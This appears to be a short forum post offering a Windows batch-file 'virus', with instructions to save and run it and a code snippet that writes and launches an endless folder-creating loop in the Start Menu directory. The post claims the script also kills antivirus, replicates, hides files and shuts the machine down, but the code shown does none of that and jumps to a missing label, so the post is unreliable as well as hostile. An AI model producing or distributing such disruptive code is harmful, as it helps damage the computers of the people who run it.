Here is a Batch File virus which can:
1.Copy itself into startup
2.Copy itself over one thousand times into random spots in your computer.
3.Hide its self and all other created files
4.Task kill MSN, Norton, Windows Explorer, Limewire.
5.Swap the left mouse button with the right one
6.Opens alert boxes
7.Changes the time to 12:00 and shuts down the computer
copy this code into notepad and save as anyname.bat(while saving select all files instead of text ).
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2
so enjoy .........
